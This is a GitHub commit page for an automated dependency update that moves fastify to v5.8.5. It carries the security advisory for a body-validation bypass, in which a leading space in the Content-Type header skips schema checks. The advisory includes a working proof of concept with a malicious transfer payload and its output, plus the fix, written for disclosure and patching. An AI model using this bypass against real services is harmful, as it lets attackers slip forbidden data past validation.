Commit ef8edea
authored
fix(deps): update dependency fastify to v5.8.5 [security] (#8157)
This PR contains the following updates:
| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [fastify](https://fastify.dev/)
([source](https://redirect.github.com/fastify/fastify)) | [`5.8.3` →
`5.8.5`](https://renovatebot.com/diffs/npm/fastify/5.8.3/5.8.5) |

|

|
### GitHub Vulnerability Alerts
####
[CVE-2026-33806](https://redirect.github.com/fastify/fastify/security/advisories/GHSA-247c-9743-5963)
### Summary
A validation bypass vulnerability exists in Fastify v5.x where request
body validation schemas specified via `schema.body.content` can be
completely circumvented by prepending a single space character (`\x20`)
to the `Content-Type` header. The body is still parsed correctly as JSON
(or any other content type), but schema validation is entirely skipped.
This is a regression introduced by commit
[`f3d2bcb`](https://redirect.github.com/fastify/fastify/commit/f3d2bcb3963cd570a582e5d39aab01a9ae692fe4)
(fix for
[CVE-2025-32442](https://redirect.github.com/fastify/fastify/security/advisories/GHSA-mg2h-6x62-wpwc)).
### Details
The vulnerability is a **parser-validator differential** between two
independent code paths that process the raw `Content-Type` header
differently.
**Parser path** (`lib/content-type.js`, line ~67) applies `trimStart()`
before processing:
```js
const type = headerValue.slice(0, sepIdx).trimStart().toLowerCase()
// ' application/json' → trimStart() → 'application/json' → body is parsed ✓
```
**Validator path** (`lib/validation.js`, line 272) splits on `/[ ;]/`
before trimming:
```js
function getEssenceMediaType(header) {
if (!header) return ''
return header.split(/[ ;]/, 1)[0].trim().toLowerCase()
}
// ' application/json'.split(/[ ;]/, 1) → [''] (splits on the leading space!)
// ''.trim() → ''
// context[bodySchema][''] → undefined → NO validator found → validation skipped!
```
The `ContentType` class applies `trimStart()` before processing, so the
parser correctly identifies `application/json` and parses the body.
However, `getEssenceMediaType` splits on `/[ ;]/` before trimming, so
the leading space becomes a split point, producing an empty string. The
validator looks up a schema for content-type `""`, finds nothing, and
skips validation entirely.
**Regression source:** Commit
[`f3d2bcb`](https://redirect.github.com/fastify/fastify/commit/f3d2bcb3963cd570a582e5d39aab01a9ae692fe4)
(April 18, 2025) changed the split delimiter from `';'` to `/[ ;]/` to
fix
[CVE-2025-32442](https://redirect.github.com/fastify/fastify/security/advisories/GHSA-mg2h-6x62-wpwc).
The old code (`header.split(';', 1)[0].trim()`) was **not** vulnerable
to this vector because `.trim()` would correctly handle the leading
space. The new regex-based split introduced the regression.
### PoC
```js
const fastify = require('fastify')({ logger: false });
fastify.post('/transfer', {
schema: {
body: {
content: {
'application/json': {
schema: {
type: 'object',
required: ['amount', 'recipient'],
properties: {
amount: { type: 'number', maximum: 1000 },
recipient: { type: 'string', maxLength: 50 },
admin: { type: 'boolean', enum: [false] }
},
additionalProperties: false
}
}
}
}
}
}, async (request) => {
return { processed: true, data: request.body };
});
(async () => {
await fastify.ready();
// BLOCKED — normal request with invalid payload
const res1 = await fastify.inject({
method: 'POST',
url: '/transfer',
headers: { 'content-type': 'application/json' },
payload: JSON.stringify({ amount: 9999, recipient: 'EVIL', admin: true })
});
console.log('Normal:', res1.statusCode);
// → 400 FST_ERR_VALIDATION
// BYPASS — single leading space
const res2 = await fastify.inject({
method: 'POST',
url: '/transfer',
headers: { 'content-type': ' application/json' },
payload: JSON.stringify({ amount: 9999, recipient: 'EVIL', admin: true })
});
console.log('Leading space:', res2.statusCode);
// → 200 (validation bypassed!)
console.log('Body:', res2.body);
await fastify.close();
})();
```
**Output:**
```
Normal: 400
Leading space: 200
Body: {"processed":true,"data":{"amount":9999,"recipient":"EVIL","admin":true}}
```
### Impact
Any Fastify application that relies on <code>schema.body.content</code>
(per-content-type body validation) to enforce data integrity or security
constraints is affected. An attacker can bypass all body validation by
adding a single space before the Content-Type value. The attack requires
no authentication and has zero complexity — it is a single-character
modification to an HTTP header.
This vulnerability is distinct from all previously patched content-type
bypasses:
CVE | Vector | Patched in 5.8.4?
-- | -- | --
CVE-2025-32442 | Casing / semicolon whitespace | ✅ Yes
CVE-2026-25223 | Tab character (\t) | ✅ Yes
CVE-2026-3419 | Trailing garbage after subtype | ✅ Yes
This finding | Leading space (\x20) | ❌ No
**Recommended fix** — add `trimStart()` before the split in
`getEssenceMediaType`:
```js
function getEssenceMediaType(header) {
if (!header) return ''
return header.trimStart().split(/[ ;]/, 1)[0].trim().toLowerCase()
}
```
##### Severity
- CVSS Score: 7.5 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N`
---
### Release Notes
<details>
<summary>fastify/fastify (fastify)</summary>
###
[`v5.8.5`](https://redirect.github.com/fastify/fastify/releases/tag/v5.8.5)
[Compare
Source](https://redirect.github.com/fastify/fastify/compare/v5.8.4...v5.8.5)
#### 1 parent 89249d0 commit ef8edea
2 files changed
+5
-5
lines changedSome generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
| |||
103 | 103 | | |
104 | 104 | | |
105 | 105 | | |
106 | | - | |
| 106 | + | |
107 | 107 | | |
108 | 108 | | |
109 | 109 | | |
| |||
0 commit comments